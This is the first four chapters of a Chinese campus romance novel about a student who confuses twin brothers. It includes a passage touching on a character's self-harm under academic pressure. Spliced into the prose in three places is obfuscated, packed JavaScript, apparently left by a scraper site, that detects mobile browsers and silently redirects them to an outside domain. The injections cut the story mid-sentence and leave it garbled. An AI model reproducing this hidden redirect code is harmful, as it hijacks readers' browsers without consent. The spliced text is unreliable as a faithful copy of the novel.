《喜欢的人是双胞胎》 1. 第 1 章 高马尾在身后摇晃,杏眼弯成月牙,一颗小虎牙显露唇下。 地铁呼啸而过,站台玻璃门倒映出的笑脸一瞬呆滞。 李再星直拍脑门,光顾着手机聊天,白等一趟地铁。 懊恼一秒,又立刻低头,手指在屏幕敲出残影,向韩栀子实时转播这倒霉情况,对方坐实损友之名,在手机那边幸灾乐祸大笑。 幸灾乐祸之后,韩栀子又发来消息。 【听说你们学校计算机系搬到本部了,你帮我打听打听,那谁最近学得怎么样,绩点多少,系排名多少。】 “那谁”,是韩栀子对她高中前班长的代称。 李再星回了一串省略号。 都毕业一年了,这人竟然还在在意高中班长的成绩。 韩栀子好胜心极强,偏偏高中时总被这位每次都考年级第一的班长压一头。 即便李再星高中没和她同校,甚至没见过那位班长本人,对方的事迹却从韩栀子这听到耳朵起茧。 放弃了保送,参加高考,高考完被被许多人望尘莫及的东晏大学抢着要,却爆冷选择本地的青安大学。 韩栀子震惊不解,以为有什么狗血疼痛难言苦衷,厚着脸皮向当事人寻因问果,得到的答案却是三个字:我恐高。 因为恐高坐不了飞机,所以不去外地上大学。 简单到离谱,随意到荒谬,更让自诩为他竞争对手的韩栀子愤愤不已。 她发狠忘情搞学习,终于以全系第一的成绩被东晏大学的计算机系录取,本以为终于打败了那家伙,结果对方竟然弃权,这一拳打到棉花上的无力感!比腹胀大半天终于找到厕所结果只是放了个屁还难受! 学霸的世界,李再星搞不懂,也对这个未曾谋面的校友没多余兴趣,甚至连名字都没记住——韩栀子每次提及都只喊他班长,那谁,臭小子。 唯一有点印象的,对方是似乎是双胞胎。 李再星无视韩栀子这酷似私生饭的请求,扭头看向站台的电子显示屏,离下趟地铁还有五分钟。 从电子屏收回视线,余光瞥见身后两步远处站着的男生,穿着一身黑,戴着黑色棒球帽,帽檐压得很低,只露出线条流畅的下半张脸。 他清瘦高挑的身形让人很有印象,李再星记得他跟自己差不多时间过安检进站,原来错过上趟地铁,被留在站台的不只她一个。 李再星心里微妙地找到些平衡。 五分钟时间在和韩栀子的废话中很快流逝,新一趟地铁到站。这个时间点,地铁站人流量并不多,座位富余,空气冷清。 李再星随便找个位置坐下,戴上耳机听歌打发时间。 耳机里的男歌手声音温柔,催眠效果甚好,李再星瞌睡连连,垂着的脑袋似小鸡啄米,二指长的马尾跟着摇晃。 睡意上头,她越垂越低的脑袋猛地往前坠时,忽觉额头一热。 一只手沉稳有力地托住了她的脑袋。 鼻尖嗅到一丝朦胧的花香,像是被水汽晕染的桂花,带着几分冷意,如同走进雨后的园林。 李再星旋即清醒,借着这股力量坐直身体的第一时间道歉:“对不起!” 扭过头的一瞬间四目相对。 扶住她的是刚才在站台的那个男生,帽檐下的面部轮廓分明,眉骨高挺,精致的五官带着凛冽的冷感。 就连右侧眼皮上的那颗褐色小痣,都透着冷漠薄凉的味道。 男生收回手,板着脸移开视线,“没事。” 和她耳机里男歌手截然不同的音色,他的声音偏低,微冷。 好冷酷…… 李再星有些尴尬,挠了挠脸颊,坐正身体。 行驶中的地铁像婴儿的摇篮,没几分钟,她的上下眼皮又开始打架。 尽管理智一直警告,独自在车上睡觉会带来坐过站的麻烦,困意仍旧像不受控制膨胀的气球。 每当要睡过去时,又立刻挺直腰杆,强逼自己清醒。 反反复复,煎熬痛苦。 李再星做了个深呼吸,强行睁大眼睛,手掌拍上脸颊。 掌心拍打脸颊的清脆声响令身旁人侧目。 男生忽然出声:“你在哪个站下车?” 足足三秒,李再星才反应过来他是在跟自己说话,忙摘下一只耳机,愣头愣脑回答:“青大站。” 男生沉默几秒,“你睡吧,到站我叫你。” “啊、啊?” 李再星错愕,困得不太清醒的脑子有点短路,茫然盯着他。 男生偏头,回避她视线,压低帽檐,留下不自然的侧脸,“我也在那站下车。” 眼神能够回避,表情可以控制,皮肤温度却无从调节。 李再星视线落在他泛红耳根。 半晌,她缓慢眨眼,顿悟。 原来不是因为冷酷。 压住笑意道了声谢,李再星戴回耳机,中断的歌曲自动播放,《Can''t Help Falling in Love》。 心跳扑通扑通,她低头,杏眼偷偷弯成月牙。 …… “所以你光顾着心动,就这么扑通扑通两手空空地走了?” 听李再星说完这段遭遇,电话那边的韩栀子从满脸姨母笑到恨铁不成钢,“名字呢?微信呢?电话号码呢?你是一个都没问啊。” 李再星同样扼腕:“我这不是第一次crush,没经验嘛!” 韩栀子:“你不是说他跟你同一站下车吗,没准也是青大的,在你们学校表白墙上捞人试试。” “但我感觉他不像是会看表白墙的人。” 虽然没跟那个男生聊几句,但对方给李再星的感觉,不像是会关注八卦的人。 “管他什么感觉不感觉,死马当活马医啊!” 韩栀子对自己的恋爱不感兴趣,对发小的恋爱倒是上头,“互联网神人这么多,你描述时写详细点,万一搞到他名字呢!” ……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484281|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “季行月!” 篮球场外的梧桐道,身后人的呼唤让少年身形一顿,在原地停了三秒,这才笑容可掬转回头。 此刻已是黄昏,天光暗沉,他绽放的笑容却让人眼前乍然一亮。 左眼角下的那颗泪痣,为本就精致的五官画龙点睛,似多情又薄情。 就连同为男生的张皓也不得不暗叹这张脸生得真好,难怪这么多女生巴巴地求他帮忙约季行月吃饭。 张皓上前揽住季行月肩膀,语气熟稔:“走这么急做什么,喊你几遍了,不是说晚上一起跟啦啦队的学妹们吃饭吗?” 他刚打完球,一身汗臭熏人作呕。 季行月额角青筋狂跳,但脸上还挂着笑,“今天我就不去了,我哥刚发消息给我,让我今天回去吃,你也知道,我哥的性子……” 他作出为难的样子,话不说全,就足够让张皓脑补出冷酷独裁的兄长欺负温和弱势弟弟的戏。 张皓和季行月是前室友,大二开学后,随着季行月哥哥所在的计算机系搬到了本部,季行月也跟着搬出了宿舍,兄弟俩在学校附近租房住。 这对兄弟虽然长着同一张脸,性格却是冷和热的两个极端。 张皓组的这个局其实是借着季行月的名义到处喊人,毕竟季行月是他们经管的系草,那些啦啦队学妹也是冲着他来的,他们都是沾了季行月的光,季行月要是不到,联谊气氛也搞不起来。 现在季行月不去,张皓虽然心里不痛快,但也无可奈何——他也招惹不起那个冷面阎王。 “行吧,下次我组局,你可一定要来啊。” “下次一定。” 一定个屁。 下辈子吧! 张皓一走,季行月就变了脸。 真操蛋的烦! 他烦透了张皓拿他当招牌招揽联谊,偏偏又碍于在外的人设,不能拉下脸直接拒绝。 倒也想过谈场恋爱告别单身,一劳永逸,但对他这个极端颜控,能入得了他眼的人,难易程度堪比走在路上被星探挖去出道。 目前为止,也就两张脸有此殊荣,其中一个是他自己。 季行月从兜里掏出两颗比巴卜,撕开包装纸,往嘴里一丢,把泡泡糖当张皓,狠狠咀嚼撒气。 甜味在嘴里消散,脾气还没散,于是混到二氧化碳里,吹成泡泡。 吹出来,咬破,再吹出来,再咬破。 就在他吹出第三个泡泡时,身后忽然传来急促的脚步声,右肩被人从后面轻轻拍了一下。 张皓这狗东西,竟然还不死心。 季行月一边在心里骂,一边把死鱼眼弯成月牙,填上虚伪感情,转过身—— 愣住。 高马尾在女生身后左右摆动,季行月毫无防备撞上一双盛满惊喜的杏眼。 吹出的泡泡“啪”地一声炸破,像中断的电影重新按下播放键。 茜色夕阳下,女生朝他笑出小虎牙:“嗨,又见面啦!” 2. 第 2 章 跟漂亮两个字挨不上边的长相,笑得傻气,穿着身黄不拉几的卫衣,像颗小土豆。 无论装熟还是搭讪,都提不起兴趣的类型。 这是季行月对她的第一印象。 将吹破的泡泡糖重新卷进嘴里,季行月扯出装模作样的微笑:“我们之前见过?” 见他像是不记得,李再星有些小失落,但也不怪他,毕竟上一次见面是十天之前的事了。 没有名字没有照片,在表白墙捞人无异于海底捞针,十天过去,毫无进展。 没想到的是,老天对她如此厚爱,让她命运般地在路上遇见她的crush。 她也没辜负老天的厚爱,仅凭一个后脑勺,她就马上认出来了! 只是,对方今天的穿衣风格跟上次很不一样。 粉色的宽松翻领卫衣,裤腿宽大到极致的水洗牛仔裤,蹬了双荧光绿的老爹鞋。 这红红绿绿缤纷如圣诞树的打扮,让李再星无法控制地感到不自在。 李再星挠了挠脸,为了让他有印象,特意把当时情况说得详细:“我们十天前在地铁里见过的,你扶了我一把,还让我安心睡觉,说到站会叫我。” 季行月很确定自己没有这种乐于助人的记忆,但对这种情况并不陌生。 有个同卵双胞胎兄弟,被张冠李戴是常事。 不过听她描述,季行月有点惊讶,难得见到他哥还有这种热心肠。 季行月不着痕迹打量了眼面前这个女生,得出的结论不变。 没有在她身上浪费时间的欲望。 “你认c……” “我叫李再星,你叫什么呀?” 李再星这回学聪明了,不管三七二十一,先问到名字再说。问联系方式还可能会被拒绝,但问名字被拒绝的概率很低。 先问到名字,才能有机会打听到其他信息,才能展开对crush的追求。 她真是个天才! 李再星觉得自己聪明极了! 瞧她突然笑得更傻气,季行月不着痕迹皱了下眉,正想把刚才的话说完,又听对方傻呵呵地挨个字解释名字。 “木子李,再见的再,日月星辰的星。” 季行月启唇动作顿住。 李再星,李再星…… 季行月的目光重新落到她脸上。 小土豆。 傻气笑。 平平无奇转眼就忘的长相,却和这个名字联系在一起。 琐事连成线,尘封记忆揭开。 季行月蓦地笑了,“我叫季行月。” 他看着她,亲和力拉满地扬起嘴角,灿烂到极致,漂亮到虚伪:“要加个微信吗?” …… “他笑得真好看!又帅又亲切!” 李再星第一时间向韩栀子分享喜讯,全须全尾复述了一遍刚才的偶遇。 尤其是季行月刚才的那个笑容,毫不夸张地形容,简直就像洒满圣光的天使,当时差点以为太阳要出来了。 韩栀子的关注点却在另一件事上:“你不是说他今天潮到风湿吗,你的潮男恐惧症治好了?” 李再星有挺严重的潮男恐惧症,这事跟韩栀子还有间接关系。 韩栀子从小就长得漂亮,如她泼辣的性格一般,是明艳大气的浓颜美女,刚上高中那会儿还被星探给过名片。 也因为漂亮,被不少异性纠缠骚扰过,其中大半是自以为能靠脸吃饭,打扮很夸张的“潮男”,目睹潮男们对韩栀子孔雀开屏的李再星,也渐渐有了潮男恐惧症。 李再星塌下肩:“哪那么容易治好?我刚刚都快从成木头了,硬着头皮去搭话的。” 韩栀子:“那你以后要怎么跟他相处?” “走一步看一步吧,”李再星的字典里就没放弃这两个字,“既然我能鼓起勇气去跟他搭话,那就也能继续跟他相处,哪怕得风湿!” 韩栀子在电话那边竖大拇指:“爱的力量真伟大。” 李再星回到宿舍没多久,就收到了季行月的消息。 没有文字,就一个小狗探头的可爱表情,看着像是在打探她在不在,却也更像是在开启话题。 继主动要微信之后,他又主动开启话题。 这绝对也是对她有意思吧? 至少不排斥她。 李再星压了压不自觉往上翘的嘴角,给他回消息: -你周末有空吗? -方便的话,我想周末请你吃顿饭表示感谢,上次真是多亏了你,我才没坐过站。 季行月很快回复: -当然有空 -不过感谢就不用了,我有想看的电影,我请你吃饭,你请我看电影,怎么样? 那当然好得不能再好了! 和季行月约好周末吃饭看电影的事后,你来我往地发了几个表情包,聊天在适当的时候结束。 这走向发展,简直顺利得像在做梦。 李再星抱着手机开心到快冒泡,又点进季行月的头像,去看他的朋友圈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484282|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季行月的朋友圈设置了最近半年可见,发动态次数不算频繁,但内容丰富。 打篮球,弹吉他,健身,和朋友登山、聚餐、打游戏,他看起来是个爱好很多朋友也很多的人,活生生的阳光现充。前卫的打扮和过于突出的长相,每张合照,他都是最吸引眼球的那一个。 从季行月的朋友圈来看,他似乎还有个哥哥,不过朋友圈里没有放哥哥的照片,提到的次数也很少,仅仅只知道跟他年纪差不多大,也是大学生。 李再星没放在心上。 八字还没一撇,哥哥什么的不重要,见家长这种事还是先谈上恋爱再说吧。 让李再星没想到的是,前一天才在微信里约了周末见面一起吃饭的人,还没等到周末,第二天就又遇见了。 第四节课下课,502宿舍的几个人吃完饭,都想喝饮料又懒得排队,石头剪刀布定了李再星这个跑腿的冤种。 李再星把手机和书包都给了室友,带着学生卡跑来食堂一楼的便利店。偏偏不赶巧,刷卡时显示余额不足。 跟收银的学生说了声抱歉,她正要把饮料退回去,身旁忽然传来一道有些熟悉的声音。 “我帮你刷。” 李再星下意识偏头看过去,先入目的是一件黑色工装夹克,衣服主人身材高大,宽肩平直。 她微微仰头,看见一张不算陌生的帅气的脸。 他今天穿着一身纯黑色,衬得他皮肤冷白,气质更稳重。 李再星惊喜眨眼,昨天才听他说他是经管系学生,明明经管系在南校,今天竟然又在北校遇见他。 这实在太巧,巧到她一瞬间想自恋地去以为这是他在故意跟她制造偶遇。 自恋想象是玩笑,她有自知之明,知道那不可能。 李再星咧嘴一笑:“好巧,又见面了!” 男生沉默了一会儿,移开对视视线:“嗯,是挺巧。” 接过收银学生递来的便利店,李再星跟他走出便利店,一边说:“谢谢你呀,我待会儿把钱转你。” “不用,你……” 男生似欲言又止。 “嗯?” 男生比李再星高出大半个头,李再星微微仰头看着他,过亮的阳光晒得她微微眯起眼。 不知是不是阳光晃花眼的缘故,她似乎看见对方脸上一闪而过的紧张。 季舒阳的视线落在她脸上,下颚线绷紧一秒,把手机递到她面前,破釜沉舟般开口: “你的手机号,能告诉我吗?” 3. 第 3 章 “啊?” 李再星有些懵,“我们不是已经加过微信了吗?” 站在她面前的男生眼底闪过一丝惊愕。 李再星还没来得及思考他为什么会这么惊讶,对方已经侧过脸回避了她的视线。 “抱歉,”他声音很低,带着隐隐的失落,“不愿意就算了。” “没有没有没有,”李再星连忙否认,在他要收回手时,把他的手机从手里抽出来,在他已经解锁的手机里输入自己的手机号码,“虽然我们已经加过微信,但也不妨碍我们互通电话号码呀!” 李再星把手机递还给他,笑容灿烂地开玩笑,“有事没事都可以给我打电话哦,我话费套餐里的免费通话时间多着呢!” 不知是被她阳光的笑容感染,还是因为她的玩笑话,季舒阳唇角浅浅弯起,“好。” 和他昨天的笑不一样,他今天的笑容没那么阳光明媚,弧度浅淡,还带着些许生涩和腼腆,就像风轻轻吹过水面,漾开细微的涟漪。 李再星微微一愣,手指无意识地摸了摸耳朵。 不知是不是太阳强烈的缘故,指腹下的皮肤有些发热。 “那,那我就先走了。” 她莫名地有些结巴,朝他挥挥手,转身头也不回地跑了。 李再星一口气跑到宿舍,满脸通红地大喘气。 室友关柔见她这风风火火的模样,开玩笑损她,“干嘛跑这么急,被鬼给追了?” 李再星拧开刚买的饮料,咕噜咕噜猛灌一大口,激动地喘着粗气:“追我的不是鬼,是个大帅哥!” 她把方才遇见crush的事从头到尾复述了遍,几个母胎单身的室友,燃起八卦之火的眼睛一双比一双亮。 关柔:“他对你有意思!” 另一个室友王佳佳:“绝对有意思,不是我倒立洗头!” 得到肯定,李再星也越发振奋:“是吧是吧?不是我的错觉吧?不是我在自作多情吧?” 王佳佳出主意道:“你周末不是要跟他约会吗,周末再去试探一下不就行了。” 李再星:“怎么验证?” 王佳佳:“人都有安全社交距离,特别是对异性,你就假装不经意靠近他,看他的反应,是排斥你还是接纳你。” 李再星竖起大拇指:“高手啊。” 王佳佳毫不谦虚潇洒甩头:“那是!” 周末的吃饭,读作吃饭,写作约会。 期待之余,李再星还有些紧张。 不仅仅是要试探季行月对自己的心意,还要鼓起勇气去面对一个潮男。 她统共和季行月见了三次面,他的穿衣风格在潮到风湿的夸张和朴素低调的正常之间反复横跳,李再星不知道该迎合他哪一次的风格。 二选一,李再星决定跟着感觉碰运气。 在校门口见面时,看到季行月今天鲜艳张扬的打扮,土狗瑟瑟发抖。 可恶,她押错了注! 潮男恐惧症的影响力不可小觑。 她蠢蠢欲动的少女心,败给面对潮男的不自在。 注意到她的不自在,季行月问:“怎么了吗?” 李再星手忙脚乱回避视线,生硬转移话题:“哈、哈哈……你今天的耳钉挺好看的。” 季行月弯眼一笑:“其实我没打耳洞,都是耳夹,要仔细看看吗?” 他微弯腰,低头朝她凑近几分,动作很乖。 李再星鼻尖嗅到他身上的气息。 清新微涩的果调,像无花果的枝叶气息,跟他笑起来时给人的感觉一样,明亮清爽,又不失活力。 和那天在地铁上不一样的味道,但也很好闻。 却偏偏是个潮男。 救救救救命! 李再星几乎都快听到自己骨头被冻结的声音,好在及时到来的出租车救她狗命。 “出、出租车来了!” 搬出这借口,李再星连忙从他身边逃开,四肢不协调的模样,仿佛程序故障的机器人。 在她扭头去坐车时,没看见身后男生困惑地皱起眉。 季行月惯会察言观色,一眼就看出李再星这是在躲他。 不是在害羞,而是把他当豺狼一样躲开。 从去吃饭的路上到吃完饭,李再星把室友教的试探大法忘得一干二净,反而是季行月,亲切且自然地与她拉近距离。 他把握的尺度很好,任谁都觉得绅士温柔。 但对李再星来说,潮男的杀伤力不可小觑,别说招架住他的攻势,就连多看两秒他的脸,她都觉得不自在。 季行月也越发困惑,无声打量此刻正在影院自助取票机前取票的李再星。 他明明在这么努力地勾引,怎么还没见上套? 难道是他勾引的方法不对? 虽然是第一次勾引人,但凭他这张脸,也不该败北啊? 皱着眉琢磨时,季行月无意间注意到店外的一个小女孩。 小女孩扎着两羊角辫,看着也就四五岁,一个人在那边瘪着嘴,要哭不哭。 周围没见她家长,季行月便多留心了一下,就见小女孩突然左脚绊右脚,自己跌倒在地,立刻哭起来,依旧没见有家长去管她。 犹豫几秒,季行月还是朝那边走过去,把人从地上拎起来,“小鬼,你家里人呢?” “妈妈……妈妈丢了呜呜呜呜哇!” 小女孩原本就因走失而不安,又被他高大的身材和晃来晃去的十字架耳环吓到,哭得比刚才厉害。 “你、你别哭啊,我又不是坏人。” 季行月最不擅长应付这种小屁孩,顿时后悔自己吃饱了撑的来多管闲事。 既不知道怎么哄,又担心别人误会是他在欺负人,想摸她的脑袋安慰一下,都不知该从哪下手。 就在他手足无措时,注意到动静的李再星赶紧走过来救场。 李再星蹲在小女孩身前,指着影院里的一排娃娃机:“小妹妹,姐姐带你去抓漂亮娃娃,别哭了好不好?” 小女孩被这话吸引了注意力,泪眼婆娑望着她,眼里还带着戒备和警惕。 李再星打扮得没季行月那么夸张,长相也没什么攻击性,笑起来杏眼弯弯,小虎牙一冒尖,自带亲和力,正是小朋友们喜欢的姐姐类型。 小女孩在她的笑容里放下警戒心,一抽一抽地点头。 她总算止住哭泣,季行月松了口气,对李再星道:“这里二楼有广播室,我去趟那边找人广播。” “行,没准她的父母会回来这边找她,我带着她留在这,你快去快回。” 两人就这么简单分工了一下,季行月记下了女孩的穿着,去广播室找人广播。 广播出去没多久,女孩的妈妈就急急忙忙地找到游戏厅,手里还牵着一个和走失女孩一模一样的小姑娘。 原来是双胞胎。 估计是妈妈一个人带着两个孩子出门,忙起来时只顾上了一个,这才让小女孩走丢。 双胞胎妈妈红着眼睛跟两人道谢,李再星大大咧咧地摆手,“没事没事,举手之劳。” 临离开时,小女孩抱着李再星刚给她夹上来的娃娃,被妈妈教导着,脆生生跟李再星道谢。 站在一边的季行月忽然出声:“麻烦等我一下。” 女孩妈妈和李再星都看向他,面露疑惑。 只见季行月去了趟娃娃机那边,花了两三下功夫,夹到了一只和小女孩怀里那只一模一样的玩偶,走到另一个被妈妈牵着的妹妹旁边,把玩偶给她。 一直安静待着的妹妹接过玩偶,眼里的羡慕变成欣喜,扬起大大的笑脸:“谢谢哥哥!” 季行月也跟她笑了笑:“不客气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484283|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等她们离开后,季行月扭头对李再星解释:“双胞胎最看重的就是公平,要是只有一个人有娃娃,会闹别扭的。” 他解释时的神色云淡风轻,语气里却隐隐带着一丝不易察觉的得意。 这是只有同为双胞胎的他,才会注意到的细节经验之谈。 虽然刚才哄小孩时出了丑,但他这种细心表现算加分项吧? 季行月翘起嘴角,等着李再星的夸赞。 李再星反应慢半拍地眨了眨眼,也果然如他所想,露出惊艳的神色。 然而,说的话却是:“你夹娃娃好厉害!” “?” 季行月笑容微妙地僵在脸上。 不是夸他的人格魅力,而是在惊叹他夹娃娃的技术? 那东西需要技术含量吗? “刚刚那只娃娃,我夹了二十次才夹到一只!” 潮男恐惧症在此时此刻第一次被克服,李再星望着他的眼里几乎要闪星星,“而你才夹了两次就成功!也太厉害吧!” “……” 自诩装模作样到出神入化地步的季行月,也差点控制不住嘴角的抽搐。 他深吸一口气,勉强保持微笑:“你有想要的吗,我给你夹?” “可以吗!”李再星激动到眼睛都更闪亮了,“我想每台机子都来一只!” 季行月:“……” 李再星原本是想她出钱,季行月出力,但季行月先她一步去扫码买了一堆币,出钱又出力。 李再星反而被弄得有些不好意思,觉得怀里的这堆娃娃变得烫手。 她不好意思一个人独占,提出和季行月一人一半。 季行月对这种幼稚公仔压根不感兴趣,但还是拗不过她,随手挑了个不占地方的猫咪挂件,口不对心夸了句,“这猫咪挺可爱的,这个就够了。” 李再星眨了眨眼。 这猫咪挂件刚好有两个,因为她对这种丑萌娃娃没有抵抗力,所以让他在一台机子里夹了两个同款不同表情。 这么多娃娃,他偏偏挑了这个,多少有些暧昧。 尽管心里吹响了一百个窃喜小号,李再星还是控制住了自己没笑得太过分。 她装模作样咳了咳,“你好像对这边挺熟悉,我都不知道二楼还有个广播室。” 季行月:“我是本地人,市内基本都玩遍了。” 李再星今天第二次感到惊喜:“我也是本地人!也太巧了吧!我高中在智明读,你呢?” 相比她的惊讶,季行月淡定许多,如实道:“我是明礼的。” 李再星更惊喜地露出笑脸:“我好朋友也在明礼读!你们校庆的时候,我还偷偷去过你们学校呢。” 她那个好朋友就是韩栀子,两人虽然高中不同校,但隔三差五打电话聊天。 季行月这么帅,她竟然没听韩栀子提过他。 不过也情有可原。 她们俩都是对不感兴趣的事就完全不会关注的类型,她那时对恋爱和帅哥都不感兴趣,韩栀子就更加如此,在学校和父母的重压下只想着学习。 韩栀子唯一提过的帅哥,就是她班长,而且聊天重点也不在班长的颜值上,而是对他次次年级第一的怨念。 念了三年,念到李再星耳朵起茧,都没记住她班长的名字。 知道季行月既是同乡,又是韩栀子的校友后,李再星突然觉得他亲切不少,“没想到我们竟然这么有缘。” 季行月也笑笑,迎合她的兴奋,意有所指道:“没准我们之前还见过呢。” “还真有可能,”李再星兴奋附和,又觉得自己没理由会忘记这么帅一张脸,“不过你长这么帅,如果见过,我一定对你有印象。” 闻言,季行月牵起一个笑,不置可否。 有印象个屁。 明明忘得一干二净。 4. 第 4 章 从万达回来,季行月原想送李再星到宿舍楼下,李再星不想太麻烦他,跟他在校门口分别。 季行月没有坚持。 他是个很懂分寸的人,知道过度的绅士也会给人负担。 回到宿舍,李再星才进门,在宿舍留守的两个单身狗室友立刻起哄猴叫。 “Oh~!瞧瞧是哪个去约会的叛徒回来了?” “和帅哥约会的感觉怎么样?发展到什么进度了?牵手还是kiss?赶紧说说!” 李再星把今天的战利品娃娃们堆到床下的书桌上,“你们当我坐火箭呢,哪有那么快。” 关柔看热闹不嫌事大:“现在是快餐式恋爱的时代,先下手为强。” 王佳佳附和:“就是,我还等着妹夫请我吃饭呢。” 几个室友的关系很好,李再星是宿舍里的老幺,性子又讨喜,是宿舍的团宠兼团欺。 “放心吧,这顿饭少不了你们的。” 李再星是给三分颜色就能开染坊的性格,得意地摆起谱,毫不谦虚地自夸起来,“虽然是第一次,但我真的很会追人,小小帅哥,轻松拿下~” 见她这么嘚瑟,关柔忍不住咋舌,又关心问:“你的潮男恐惧症克服得怎么样了?” 被问到点子上,李再星收起得意,表情又凝重了些。 其实她觉得,今天和季行月相处的气氛和地铁里的那一次不太一样。 具体怎么不一样,她自己也说不上来。 这两次唯一的不同,就是季行月的穿着打扮。 所以,控制变量法得出的结果,责任在她。 是她的潮男恐惧症阻碍了她对季行月的心动。 李再星给自己倒了杯水,咕噜咕噜灌下去,握着杯子往桌上一搁,下定决心:“我一定要克服这毛病!” …… 深褐色的液体自咖啡机缓缓注入白色陶瓷杯,浓郁的咖啡香与腾腾热气交织在一起。 季舒阳端起杯子轻抿一口,手冲咖啡的苦涩在舌尖蔓延。 茶吧桌上的手机响了几声,季舒阳看了眼来电人,按下接听:“妈。” “舒阳,你在家吗?” “嗯。” “这两天要降温了,你让小月多穿点,别老惦记他那时尚打扮,到时候感冒再哼哼喊难受。” 沉默了几秒,季舒阳低声应下:“好。” 季行月一向最会对秋丽撒娇,秋丽嘴上嗔怪他要风度不要温度,实际三言两语都是对他的偏爱和关心。 又叮嘱了几句后,秋丽就挂了电话。 季舒阳偏头看向窗外,天色将暗,冷寂的夜色逼到窗边。 同一套DNA,同一张面孔,非要说有什么不同之处的话,他的反应比季行月慢几拍。 还在婴儿时代,常常是季行月先嚎啕大哭,而他则是慢几拍后,才跟着哭。 随年龄渐长,他们渐渐能够听懂大人们的话,或是安抚,或是表扬。 季行月仍旧喜欢用哭声吸引大人们的注意,而季舒阳依旧慢了几拍。 就在这慢了几拍没哭的空档,大人们将他的迟钝误解为安静懂事。 于是嚎啕大哭的季行月被安抚,安静懂事的他被表扬。 起初,父母的表扬让季舒阳感到骄傲。 在一声声表扬里,他不再轻易哭泣,学会了迁就照顾弟弟,树立起父母所说的作为哥哥的榜样。 但渐渐的,这些称赞不知不觉变成枷锁,他的言行举止,他的世界,就此被束缚。 懂事,优秀,榜样,这些评价和季舒阳这个名字联系在一起,在所有人眼中,都变得理所当然起来。 同样的考试,他考卷上的八十分,会得到父母隐隐失望的眼神,季行月的六十分,能得到父母摸头拍肩的鼓励。 同样顽皮爬树,掉下来被吓到,季行月得到的是父母安抚情绪的拥抱,他得到的是没能看好弟弟的指责。 无法摆脱被期望所束缚的生活,一旦无法达到父母期望,就满心愧疚,寝食难安。 不敢有任何松懈,不敢踏足新领域,不敢像季行月那样随心所欲尝试兴趣爱好,因为一旦涉猎就必须做到最好,否则无法成为榜样。 他越来越恐惧失败,对任何事都要做到完美,渐渐执着到病态。 这样如履薄冰的时期,一次失误,就足以让他整个人支离破碎。 高二的一次期中考试,季舒阳以一分之差,和年级第一失之交臂。 对见惯了季舒阳次次稳坐年级第一的其他同学,这是一次令人意外的大爆冷,但也只是茶余饭后三言两语带过的小感慨。 毕竟只是一分之差,没人质疑他的实力。 没人知道,对追求完美的人来说,这样的失误有多令人崩溃。 分数和排名出来的那天,季舒阳的大脑都在嗡鸣。 手指的倒刺连同皮肉一次次被撕下,被长袖掩盖的小臂布满指甲的抓痕。 其他人都在迎接期中考后的校庆,没人理会他的世界在分崩离析。 怀揣着刚买来的美工刀,季舒阳躲在远离热闹的偏僻墙角。 “考砸一次就这么垂头丧气,你的心是玻璃做的吗?” 一声清脆的责骂在这时候砸进他的耳朵里。 季舒阳起初以为是在骂自己,下意识朝声源处看过去。 两个穿着校服的女生坐在不远处树下的长椅上,其中一个垂头丧气。 季舒阳认得她,是和他同班的韩栀子。 仅限于点头之交的同学关系。 刚才出声的,是韩栀子旁边那个扎着马尾的女生。 虽然刚骂完人,但她手里拆的巧克力棒却还是递到了韩栀子嘴边。 韩栀子推开她的手,脸埋进掌心,声音哽咽:“我这次不只是考差,排名都掉出了前三,我爸要是知道了,会打死我的。” “你爸、你爸……” 马尾女生像是想骂人,但又顾虑当着韩栀子面骂她亲爹不太好,磕绊了半天,像便秘一样憋出一句:“你爸怎么老这样!” “这样”两个字里包含了种种脏话的含义。 女生忿忿:“还不如我爸呢!” “你不是说你爸出轨了吗?” “出轨也比家暴强……算了,巧克力味的屎,屎味的巧克力,两个都不是好东西。” 她们的谈话涉及家庭的私密话题,季舒阳听到这里时,想悄悄离开。 却在转身前,看见马尾女生将韩栀子抱进怀里。 “考砸了也没关系,我不是说过吗,不管你做到什么程度,努力过就不遗憾,别给自己这么大压力。” 她的声音很温柔,又陡然变得豪迈,“大不了这段时间来我家,让我妈去跟你爸妈说,反正咱俩家离得近,也不耽误你上学!” 韩栀子仍旧在意:“可是第七名……” “你们学霸真是气人,第七名怎么了?我这次在智明连七十名都没考到呢!” “而且你不是说那个谁这次从年级第一掉到了第二,连他都有失误的时候,你失误一次怎么了?你不是一直觉得他霸着第一的位置很讨嫌吗,这次他考砸了,幸灾乐祸的好时候啊!” “……” 没料到在这时候还能听到自己以这种方式被提及,季舒阳没带感情地扯了扯嘴角。 他要不要去把教导主任喊过来,把这个穿着明礼校服混进来的智明异类赶出去。 虽然这么想,眼睛却无法从相拥的两个女生身上移开。 